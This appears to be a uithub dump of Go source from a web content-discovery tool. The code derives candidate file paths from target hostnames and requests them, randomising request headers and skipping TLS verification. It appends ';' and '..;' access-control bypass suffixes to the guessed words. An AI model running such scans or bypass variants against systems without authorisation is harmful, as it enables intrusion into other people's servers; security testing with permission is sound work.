		if path != "" {
			basePaths = append(basePaths, path)
		}
	}

	if err := scanner.Err(); err != nil {
		return nil, err
	}

	return basePaths, nil
}

```

## /pkg/domain/domain.go

```go path="/pkg/domain/domain.go" 
package domain

import (
	"github.com/confusedspe/dynamic-file-searcher/pkg/config"
	"github.com/confusedspe/dynamic-file-searcher/pkg/utils"
	"regexp"
	"strconv"
	"strings"
)

type domainProtocol struct {
	domain   string
	protocol string
}

var (
	ipv4Regex         = regexp.MustCompile(`^(\d{1,3}\.){3}\d{1,3}$`)
	ipv6Regex         = regexp.MustCompile(`^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$`)
	ipPartRegex       = regexp.MustCompile(`(\d{1,3}[-\.]\d{1,3}[-\.]\d{1,3}[-\.]\d{1,3})`)
	md5Regex          = regexp.MustCompile(`^[a-fA-F0-9]{32}$`)
	onlyAlphaRegex    = regexp.MustCompile(`^[a-z]+$`)
	suffixNumberRegex = regexp.MustCompile(`[\d]+$`)
	envRegex          = regexp.MustCompile(`(prod|qa|dev|testing|test|uat|stg|stage|staging|developement|production)$`)
	// Removed the hard-coded appendEnvList. Use cfg.AppendEnvList instead in splitDomain().
	regionPartRegex  = regexp.MustCompile(`(us-east|us-west|af-south|ap-east|ap-south|ap-northeast|ap-southeast|ca-central|eu-west|eu-north|eu-south|me-south|sa-east|us-east-1|us-east-2|us-west-1|us-west-2|af-south-1|ap-east-1|ap-south-1|ap-northeast-3|ap-northeast-2|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-northeast-1|ca-central-1|eu-central-1|eu-west-1|eu-west-2|eu-west-3|eu-north-1|eu-south-1|me-south-1|sa-east-1|useast1|useast2|uswest1|uswest2|afsouth1|apeast1|apsouth1|apnortheast3|apnortheast2|apsoutheast1|apsoutheast2|apsoutheast3|apnortheast1|cacentral1|eucentral1|euwest1|euwest2|euwest3|eunorth1|eusouth1|mesouth1|saeast1)`)
	byPassCharacters = []string{";", "..;"}
)

var commonTLDsMap map[string]struct{}

func init() {
	// Initialize the TLD map once at startup
	commonTLDsMap = make(map[string]struct{}, len(commonTLDs))
	for _, tld := range commonTLDs {
		commonTLDsMap[tld] = struct{}{}
	}
}

var commonTLDs = []string{
	// Multi-part TLDs
	"co.uk", "co.jp", "co.nz", "co.za", "com.au", "com.br", "com.cn", "com.mx", "com.tr", "com.tw",
	"edu.au", "edu.cn", "edu.hk", "edu.sg", "gov.uk", "net.au", "net.cn", "org.au", "org.uk",
	"ac.uk", "ac.nz", "ac.jp", "ac.kr", "ne.jp", "or.jp", "org.nz", "govt.nz", "sch.uk", "nhs.uk",

	// Generic TLDs (gTLDs)
	"com", "org", "net", "edu", "gov", "int", "mil", "aero", "biz", "cat", "coop", "info", "jobs",
	"mobi", "museum", "name", "pro", "tel", "travel", "xxx", "asia", "arpa",

	// New gTLDs
	"app", "dev", "io", "ai", "cloud", "digital", "online", "store", "tech", "site", "website",
	"blog", "shop", "agency", "expert", "software", "studio", "design", "education", "healthcare",

	// Country Code TLDs (ccTLDs)
	"ac", "ad", "ae", "af", "ag", "ai", "al", "am", "an", "ao", "aq", "ar", "as", "at", "au", "aw",
	"ax", "az", "ba", "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", "br", "bs",
	"bt", "bv", "bw", "by", "bz", "ca", "cc", "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn",
	"co", "cr", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", "dz", "ec", "ee", "eg",
	"er", "es", "et", "eu", "fi", "fj", "fk", "fm", "fo", "fr", "ga", "gb", "gd", "ge", "gf", "gg",
	"gh", "gi", "gl", "gm", "gn", "gp", "gq", "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn",
	"hr", "ht", "hu", "id", "ie", "il", "im", "in", "io", "iq", "ir", "is", "it", "je", "jm", "jo",
	"jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw", "ky", "kz", "la", "lb", "lc", "li",
	"lk", "lr", "ls", "lt", "lu", "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm",
	"mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx", "my", "mz", "na", "nc", "ne",
	"nf", "ng", "ni", "nl", "no", "np", "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk",
	"pl", "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs", "ru", "rw", "sa", "sb",
	"sc", "sd", "se", "sg", "sh", "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "su", "sv",
	"sy", "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn", "to", "tp", "tr", "tt",
	"tv", "tw", "tz", "ua", "ug", "uk", "us", "uy", "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu",
	"wf", "ws", "ye", "yt", "za", "zm", "zw",
}

func splitDomain(host string, cfg *config.Config) []string {
	// Strip protocol
	if strings.HasPrefix(host, "http://") {
		host = strings.TrimPrefix(host, "http://")
	}
	if strings.HasPrefix(host, "https://") {
		host = strings.TrimPrefix(host, "https://")
	}

	// Get just the domain part
	host = strings.Split(host, "/")[0]

	// Skip IP addresses
	if ipv4Regex.MatchString(host) || ipv6Regex.MatchString(host) {
		return nil
	}

	// Remove port if present
	host = strings.Split(host, ":")[0]

	// Remove IP-like parts
	host = ipPartRegex.ReplaceAllString(host, "")

	// Remove hash-like parts
	host = md5Regex.ReplaceAllString(host, "")

	// Remove TLD
	host = removeTLD(host)

	// Remove regional parts
	host = regionPartRegex.ReplaceAllString(host, "")

	// Standardize separators
	host = strings.ReplaceAll(host, "--", "-")
	host = strings.ReplaceAll(host, "..", ".")
	host = strings.ReplaceAll(host, "__", "_")

	// Split into parts by dot
	parts := strings.Split(host, ".")

	// Remove "www" if it's the first part
	if len(parts) > 0 && parts[0] == "www" {
		parts = parts[1:]
	}

	// Limit host depth if configured
	if cfg.HostDepth > 0 && len(parts) >= cfg.HostDepth {
		parts = parts[:cfg.HostDepth]
	}

	// Pre-allocate the map with a reasonable capacity
	estimatedCapacity := len(parts) * 3 // Rough estimate for parts and subparts
	relevantParts := make(map[string]struct{}, estimatedCapacity)

	// Process each part
	for _, part := range parts {
		relevantParts[part] = struct{}{}

		// Split by separators
		subParts := strings.FieldsFunc(part, func(r rune) bool {
			return r == '-' || r == '_'
		})

		// Add each subpart
		for _, subPart := range subParts {
			relevantParts[subPart] = struct{}{}
		}
	}

	// Estimate final result size
	estimatedResultSize := len(relevantParts)
	if !cfg.NoEnvAppending {
		// If we'll be adding env variants, estimate additional capacity
		estimatedResultSize += len(relevantParts) * len(cfg.AppendEnvList) * 4
	}

	// Allocate result slice with appropriate capacity
	result := make([]string, 0, estimatedResultSize)

	// Process each relevant part
	for part := range relevantParts {
		// Skip purely numeric parts
		if _, err := strconv.Atoi(part); err == nil {
			continue
		}

		// Skip single characters
		if len(part) <= 1 {
			continue
		}

		// If part matches environment pattern, add a version without it
		if envRegex.MatchString(part) {
			result = append(result, strings.TrimSuffix(part, envRegex.FindString(part)))
		}

		// If part ends with numbers, add a version without the numbers
		if suffixNumberRegex.MatchString(part) {
			result = append(result, strings.TrimSuffix(part, suffixNumberRegex.FindString(part)))
		}

		// Add the original part
		result = append(result, part)
	}

	// Add environment variants if enabled
	if !cfg.NoEnvAppending {
		baseLength := len(result)
		for i := 0; i < baseLength; i++ {
			part := result[i]
			// Skip parts that aren't purely alphabetic
			if !onlyAlphaRegex.MatchString(part) {
				continue
			}

			// Skip if part already ends with an environment suffix
			shouldBeAdded := true
			for _, env := range cfg.AppendEnvList {
				if strings.HasSuffix(part, env) {
					shouldBeAdded = false
					break
				}
			}

			if shouldBeAdded {
				for _, env := range cfg.AppendEnvList {
					// Skip if part already contains the environment name
					if strings.Contains(part, env) {
						continue
					}

					// Add variants with different separators
					result = append(result, part+env)
					result = append(result, part+"-"+env)
					result = append(result, part+"_"+env)
					result = append(result, part+"/"+env)
				}
			}
		}
	}

	// Remove environment suffixes if enabled
	if cfg.EnvRemoving {
		baseLength := len(result)
		for i := 0; i < baseLength; i++ {
			part := result[i]
			// Skip parts that aren't purely alphabetic
			if !onlyAlphaRegex.MatchString(part) {
				continue
			}

			// If the part ends with a known env word, produce a version with that suffix trimmed
			for _, env := range cfg.AppendEnvList {
				if strings.HasSuffix(part, env) {
					result = append(result, strings.TrimSuffix(part, env))
					break
				}
			}
		}
	}

	// Clean up results (trim separators)
	cleanedResult := make([]string, 0, len(result))
	for _, item := range result {
		trimmed := strings.Trim(item, ".-_")
		if trimmed != "" {
			cleanedResult = append(cleanedResult, trimmed)
		}
	}

	// Add short prefixes (3 and 4 character) for common patterns
	baseLength := len(cleanedResult)
	additionalItems := make([]string, 0, baseLength*2)
	for i := 0; i < baseLength; i++ {
		word := cleanedResult[i]
		if len(word) >= 3 {
			additionalItems = append(additionalItems, word[:3])
		}
		if len(word) >= 4 {
			additionalItems = append(additionalItems, word[:4])
		}
	}

	// Combine all items
	result = append(cleanedResult, additionalItems...)

	// Deduplicate
	result = makeUniqueList(result)

	// Add bypass character variants if enabled
	if cfg.AppendByPassesToWords {
		baseLength := len(result)
		bypassVariants := make([]string, 0, baseLength*len(byPassCharacters))

		for i := 0; i < baseLength; i++ {
			for _, bypass := range byPassCharacters {
				bypassVariants = append(bypassVariants, result[i]+bypass)
			}
		}

		result = append(result, bypassVariants...)
	}

	return result
}

func GetRelevantDomainParts(host string, cfg *config.Config) []string {
	return splitDomain(host, cfg)
}

func makeUniqueList(input []string) []string {
	// Use a map for deduplication
	seen := make(map[string]struct{}, len(input))
	result := make([]string, 0, len(input))

	for _, item := range input {
		if _, exists := seen[item]; !exists {
			seen[item] = struct{}{}
			result = append(result, item)
		}
	}

	return result
}

func GetDomains(domainsFile, singleDomain string) []string {
	if domainsFile != "" {
		allLines := utils.ReadLines(domainsFile)
		// Pre-allocate with a capacity based on the number of lines
		validDomains := make([]string, 0, len(allLines))

		for _, line := range allLines {
			trimmedLine := strings.TrimSpace(line)
			if trimmedLine != "" && !strings.HasPrefix(trimmedLine, "#") {
				validDomains = append(validDomains, trimmedLine)
			}
		}

		validDomains = utils.ShuffleStrings(validDomains)
		return validDomains
	}

	// Return single domain as a slice
	return []string{singleDomain}
}

func removeTLD(host string) string {
	host = strings.ToLower(host)
	parts := strings.Split(host, ".")

	// Iterate through possible multi-part TLDs
	for i := 0; i < len(parts); i++ {
		potentialTLD := strings.Join(parts[i:], ".")
		if _, exists := commonTLDsMap[potentialTLD]; exists {
			return strings.Join(parts[:i], ".")
		}
	}

	return host
}

```

## /pkg/fasthttp/client.go

```go path="/pkg/fasthttp/client.go" 
package fasthttp

import (
	"bytes"
	"crypto/tls"
	"fmt"
	"github.com/confusedspe/dynamic-file-searcher/pkg/config"
	"github.com/confusedspe/dynamic-file-searcher/pkg/result"
	"github.com/valyala/fasthttp"
	"math/rand"
	"strconv"
	"strings"
)

var baseUserAgents = []string{
	"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
	"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
	"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59",
	"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
}

var acceptLanguages = []string{
	"en-US,en;q=0.9", "en-GB,en;q=0.8", "es-ES,es;q=0.9",
	"fr-FR,fr;q=0.9", "de-DE,de;q=0.8", "it-IT,it;q=0.9",
}

type Client struct {
	config config.Config
	client *fasthttp.Client
}

func NewClient(cfg config.Config) *Client {
	return &Client{
		config: cfg,
		client: &fasthttp.Client{
			ReadTimeout:                   cfg.Timeout,
			WriteTimeout:                  cfg.Timeout,
			DisablePathNormalizing:        true,
			DisableHeaderNamesNormalizing: true, // Prevent automatic header modifications
			TLSConfig: &tls.Config{
				InsecureSkipVerify: true,
			},
		},
	}
}

func (c *Client) MakeRequest(url string) result.Result {
	req := fasthttp.AcquireRequest()
	defer fasthttp.ReleaseRequest(req)

	req.SetRequestURI(url)
	req.URI().DisablePathNormalizing = true
	req.Header.DisableNormalizing()
	req.Header.SetMethod(fasthttp.MethodGet)
	req.Header.Set("Connection", "keep-alive")
	req.Header.SetProtocol("HTTP/1.1")
	req.Header.Set("Range", fmt.Sprintf("bytes=0-%d", c.config.MaxContentRead-1))

	randomizeRequest(req)
	for key, value := range c.config.ExtraHeaders {
		req.Header.Set(key, value)
	}

	resp := fasthttp.AcquireResponse()
	defer fasthttp.ReleaseResponse(resp)

	client := &fasthttp.Client{
		ReadTimeout:                   c.config.Timeout,
		WriteTimeout:                  c.config.Timeout,
		DisableHeaderNamesNormalizing: true,
		DisablePathNormalizing:        true,
		TLSConfig: &tls.Config{
			InsecureSkipVerify: true,
		},
	}

	err := client.DoRedirects(req, resp, 0)
	if err == fasthttp.ErrMissingLocation {
		return result.Result{URL: url, Error: fmt.Errorf("error fetching: %w", err)}
	}

	if err != nil {
		return result.Result{URL: url, Error: fmt.Errorf("error fetching: %w", err)}
	}

	body := resp.Body()

	var totalSize int64

	contentRange := resp.Header.Peek("Content-Range")
	if len(contentRange) > 0 {
		parts := bytes.Split(contentRange, []byte("/"))
		if len(parts) == 2 {
			totalSize, _ = strconv.ParseInt(string(parts[1]), 10, 64)
		}
	} else {
		totalSize = int64(len(body))
	}

	if int64(len(body)) > c.config.MaxContentRead {
		body = body[:c.config.MaxContentRead]
	}

	return result.Result{
		URL:         url,
		Content:     string(body),
		StatusCode:  resp.StatusCode(),
		FileSize:    totalSize,
		ContentType: string(resp.Header.Peek("Content-Type")),
	}
}

func randomizeRequest(req *fasthttp.Request) {
	req.Header.Set("User-Agent", getRandomUserAgent())
	req.Header.Set("Accept-Language", getRandomAcceptLanguage())

	referer := getReferer(req.URI().String())
	req.Header.Set("Referer", referer)
	req.Header.Set("Origin", referer)
	req.Header.Set("Accept", "*/*")

	if rand.Float32() < 0.5 {
		req.Header.Set("DNT", "1")
	}
	if rand.Float32() < 0.3 {
		req.Header.Set("Upgrade-Insecure-Requests", "1")
	}
}

func getRandomUserAgent() string {
	baseUA := baseUserAgents[rand.Intn(len(baseUserAgents))]
	parts := strings.Split(baseUA, " ")

	for i, part := range parts {
		if strings.Contains(part, "/") {
			versionParts := strings.Split(part, "/")
			if len(versionParts) == 2 {
				version := strings.Split(versionParts[1], ".")
				if len(version) > 2 {
					version[2] = fmt.Sprintf("%d", rand.Intn(100))
					versionParts[1] = strings.Join(version, ".")
				}
			}
			parts[i] = strings.Join(versionParts, "/")
		}
	}

	return strings.Join(parts, " ")
}

func getRandomAcceptLanguage() string {
	return acceptLanguages[rand.Intn(len(acceptLanguages))]
}

func getReferer(url string) string {
	return url
}

```

## /pkg/http/client.go

```go path="/pkg/http/client.go" 
package http

import (
	"context"
	"crypto/tls"
	"fmt"
	"io"
	"math/rand"
	"net/http"
	"strconv"
	"strings"
	"time"

	"github.com/confusedspe/dynamic-file-searcher/pkg/config"
	"github.com/confusedspe/dynamic-file-searcher/pkg/result"
)

var baseUserAgents = []string{
	"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
	"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
	"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59",
	"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
}

var acceptLanguages = []string{
	"en-US,en;q=0.9", "en-GB,en;q=0.8", "es-ES,es;q=0.9",
	"fr-FR,fr;q=0.9", "de-DE,de;q=0.8", "it-IT,it;q=0.9",
}

type Client struct {
	httpClient *http.Client
	config     config.Config
}

func NewClient(cfg config.Config) *Client {
	transport := &http.Transport{
		MaxIdleConns:        100,
		MaxIdleConnsPerHost: 100,
		IdleConnTimeout:     90 * time.Second,
		TLSClientConfig:     &tls.Config{InsecureSkipVerify: true},
	}

	if cfg.ProxyURL != nil {
		transport.Proxy = http.ProxyURL(cfg.ProxyURL)
	}

	client := &http.Client{
		Transport: transport,
		Timeout:   cfg.Timeout + 3*time.Second,
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}

	return &Client{
		httpClient: client,
		config:     cfg,
	}
}

func (c *Client) MakeRequest(url string) result.Result {
	ctx, cancel := context.WithTimeout(context.Background(), c.config.Timeout)
	defer cancel()

	req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
	if err != nil {
		return result.Result{URL: url, Error: fmt.Errorf("error creating request: %w", err)}
	}

	randomizeRequest(req)

	for key, value := range c.config.ExtraHeaders {
		req.Header.Set(key, value)
	}

	req.Header.Set("Range", fmt.Sprintf("bytes=0-%d", c.config.MaxContentRead-1))
	resp, err := c.httpClient.Do(req)
	if err != nil {
		return result.Result{URL: url, Error: fmt.Errorf("error fetching: %w", err)}
	}
	defer resp.Body.Close()

	buffer, err := io.ReadAll(resp.Body)
	if err != nil {
		return result.Result{URL: url, Error: fmt.Errorf("error reading body: %w", err)}
	}

	var totalSize int64
	if contentRange := resp.Header.Get("Content-Range"); contentRange != "" {
		parts := strings.Split(contentRange, "/")
		if len(parts) == 2 {
			totalSize, _ = strconv.ParseInt(parts[1], 10, 64)
		}
	} else {
		totalSize = int64(len(buffer))
	}

	return result.Result{
		URL:         url,
		Content:     string(buffer),
		StatusCode:  resp.StatusCode,
		FileSize:    totalSize,
		ContentType: resp.Header.Get("Content-Type"),
	}
}

func randomizeRequest(req *http.Request) {
	req.Header.Set("User-Agent", getRandomUserAgent())
	req.Header.Set("Accept-Language", getRandomAcceptLanguage())

	referer := getReferer(req.URL.String())
	req.Header.Set("Referer", referer)
	req.Header.Set("Origin", referer)
	req.Header.Set("Accept", "*/*")

	if rand.Float32() < 0.5 {
		req.Header.Set("DNT", "1")
	}
	if rand.Float32() < 0.3 {
		req.Header.Set("Upgrade-Insecure-Requests", "1")
	}
}

func getRandomUserAgent() string {
	baseUA := baseUserAgents[rand.Intn(len(baseUserAgents))]
	parts := strings.Split(baseUA, " ")

	for i, part := range parts {
		if strings.Contains(part, "/") {
			versionParts := strings.Split(part, "/")
			if len(versionParts) == 2 {
				version := strings.Split(versionParts[1], ".")
				if len(version) > 2 {
					version[2] = fmt.Sprintf("%d", rand.Intn(100))
					versionParts[1] = strings.Join(version, ".")
				}
			}
			parts[i] = strings.Join(versionParts, "/")
		}
	}

	return strings.Join(parts, " ")
}

func getRandomAcceptLanguage() string {
	return acceptLanguages[rand.Intn(len(acceptLanguages))]
}

func getReferer(url string) string {
	return url
}

```

## /pkg/result/result.go

```go path="/pkg/result/result.go" 
package result

import (
	"github.com/confusedspe/dynamic-file-searcher/pkg/config"
	"github.com/fatih/color"
	"log"
	"net/url"
	"regexp"
	"strconv"
	"strings"
	"sync"
)

type Result struct {
	URL         string
	Content     string
	Error       error
	StatusCode  int
	FileSize    int64
	ContentType string
}

type ResponseMap struct {
	shards [256]responseShard
}

type responseShard struct {
	mu        sync.RWMutex
	responses map[uint64]struct{}
}

func fnv1aHash(data string) uint64 {
	var hash uint64 = 0xcbf29ce484222325 // FNV offset basis

	for i := 0; i < len(data); i++ {
		hash ^= uint64(data[i])
		hash *= 0x100000001b3 // FNV prime
	}

	return hash
}

func NewResponseMap() *ResponseMap {
	rm := &ResponseMap{}
	for i := range rm.shards {
		rm.shards[i].responses = make(map[uint64]struct{}, 64) // Reasonable initial capacity
	}
	return rm
}

func (rm *ResponseMap) getShard(key string) *responseShard {
	// Use first byte of hash as shard key for even distribution
	return &rm.shards[fnv1aHash(key)&0xFF]
}

// Improved response tracking with better collision avoidance
func (rm *ResponseMap) isNewResponse(host string, size int64) bool {
	// Create composite key
	key := host + ":" + strconv.FormatInt(size, 10)

	// Get the appropriate shard
	shard := rm.getShard(key)

	// Calculate full hash
	hash := fnv1aHash(key)

	// Check if response exists with minimal locking
	shard.mu.RLock()
	_, exists := shard.responses[hash]
	shard.mu.RUnlock()

	if exists {
		return false
	}

	// If not found, acquire write lock and check again
	shard.mu.Lock()
	defer shard.mu.Unlock()

	if _, exists := shard.responses[hash]; exists {
		return false
	}

	// Add new entry
	shard.responses[hash] = struct{}{}
	return true
}

func extractHost(urlStr string) string {
	parsedURL, err := url.Parse(urlStr)
	if err != nil {
		return urlStr
	}
	return parsedURL.Host
}

var tracker = NewResponseMap()

func ProcessResult(result Result, cfg config.Config, markers []string) {
	if result.Error != nil {
		if cfg.Verbose {
			log.Printf("Error processing %s: %v\n", result.URL, result.Error)
		}
		return
	}

	// Check if content type is disallowed first
	DisallowedContentTypes := strings.ToLower(cfg.DisallowedContentTypes)
	DisallowedContentTypesList := strings.Split(DisallowedContentTypes, ",")
	if isDisallowedContentType(result.ContentType, DisallowedContentTypesList) {
		return
	}

	// Check if content contains disallowed strings
	DisallowedContentStrings := strings.ToLower(cfg.DisallowedContentStrings)
	DisallowedContentStringsList := strings.Split(DisallowedContentStrings, ",")
	if containsDisallowedStringInContent(result.Content, DisallowedContentStringsList) {
		return
	}

	markerFound := false
	hasMarkers := len(markers) > 0
	usedMarker := ""

	if hasMarkers {
		for _, marker := range markers {
			if strings.HasPrefix(marker, "regex:") == false && strings.Contains(result.Content, marker) {
				markerFound = true
				usedMarker = marker
				break
			}

			if strings.HasPrefix(marker, "regex:") {
				regex := strings.TrimPrefix(marker, "regex:")
				if match, _ := regexp.MatchString(regex, result.Content); match {
					markerFound = true
					usedMarker = marker
					break
				}
			}
		}
	}

	rulesMatched := 0
	rulesCount := 0

	if cfg.HTTPStatusCodes != "" {
		rulesCount++
	}

	if cfg.MinContentSize > 0 {
		rulesCount++
	}

	if cfg.ContentTypes != "" {
		rulesCount++
	}

	if cfg.HTTPStatusCodes != "" {
		AllowedHttpStatusesList := strings.Split(cfg.HTTPStatusCodes, ",")
		for _, AllowedHttpStatusString := range AllowedHttpStatusesList {
			allowedStatus, err := strconv.Atoi(strings.TrimSpace(AllowedHttpStatusString))
			if err != nil {
				log.Printf("Error converting status code '%s' to integer: %v", AllowedHttpStatusString, err)
				continue
			}
			if result.StatusCode == allowedStatus {
				rulesMatched++
				break
			}
		}
	}

	// Check content size
	if cfg.MinContentSize > 0 && result.FileSize >= cfg.MinContentSize {
		rulesMatched++
	}

	// Check content types
	if cfg.ContentTypes != "" {
		AllowedContentTypes := strings.ToLower(cfg.ContentTypes)
		AllowedContentTypesList := strings.Split(AllowedContentTypes, ",")
		ResultContentType := strings.ToLower(result.ContentType)
		for _, AllowedContentTypeString := range AllowedContentTypesList {
			if strings.Contains(ResultContentType, AllowedContentTypeString) {
				rulesMatched++
				break
			}
		}
	}

	// Determine if rules match
	rulesPass := rulesCount == 0 || (rulesCount > 0 && rulesMatched == rulesCount)

	// Final decision based on both markers and rules
	if (hasMarkers && !markerFound) || (rulesCount > 0 && !rulesPass) {
		// If we have markers but didn't find one, OR if we have rules but they didn't pass, skip
		if cfg.Verbose {
			log.Printf("Skipped: %s (Status: %d, Size: %d bytes, Type: %s)\n",
				result.URL, result.StatusCode, result.FileSize, result.ContentType)
		}
		return
	}

	host := extractHost(result.URL)
	if !cfg.DisableDuplicateCheck {
		if !tracker.isNewResponse(host, result.FileSize) {
			if cfg.Verbose {
				log.Printf("Skipped duplicate response size %d for host %s\n", result.FileSize, host)
			}
			return
		}
	}

	// If we get here, all configured conditions were met
	color.Red("\n[!]\tMatch found in %s", result.URL)
	if hasMarkers {
		color.Red("\tMarkers check: passed (%s)", usedMarker)
	}

	color.Red("\tRules check: passed (S: %d, FS: %d, CT: %s)",
		result.StatusCode, result.FileSize, result.ContentType)

	content := result.Content
	content = strings.ReplaceAll(content, "\n", "")

	if len(content) > 150 {
		color.Green("\n[!]\tBody: %s\n", content[:150])
	} else {
		color.Green("\n[!]\tBody: %s\n", content)
	}

	if cfg.Verbose {
		log.Printf("Processed: %s (Status: %d, Size: %d bytes, Type: %s)\n",
			result.URL, result.StatusCode, result.FileSize, result.ContentType)
	}
}

func containsDisallowedStringInContent(contentBody string, DisallowedContentStringsList []string) bool {
	if len(DisallowedContentStringsList) == 0 {
		return false
	}

	for _, disallowedContentString := range DisallowedContentStringsList {
		if disallowedContentString == "" {
			continue
		}

		if strings.Contains(contentBody, disallowedContentString) {
			return true
		}
	}

	return false
}

func isDisallowedContentType(contentType string, DisallowedContentTypesList []string) bool {

	if len(DisallowedContentTypesList) == 0 {
		return false
	}

	for _, disallowedContentType := range DisallowedContentTypesList {
		if disallowedContentType == "" {
			continue
		}

		if strings.Contains(contentType, disallowedContentType) {
			return true
		}
	}

	return false

}

```

## /pkg/utils/utils.go

```go path="/pkg/utils/utils.go" 
package utils

import (
	"bufio"
	"log"
	"math/rand"
	"os"
)

func ReadLines(filename string) []string {
	file, err := os.Open(filename)
	if err != nil {
		log.Fatalf("Error opening file %s: %v\n", filename, err)
	}
	defer file.Close()

	var lines []string
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		lines = append(lines, scanner.Text())
	}

	if err := scanner.Err(); err != nil {
		log.Fatalf("Error reading file %s: %v\n", filename, err)
	}

	return lines
}

func ShuffleStrings(slice []string) []string {
	for i := len(slice) - 1; i > 0; i-- {
		j := rand.Intn(i + 1)
		slice[i], slice[j] = slice[j], slice[i]
	}
	return slice
}

```


The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.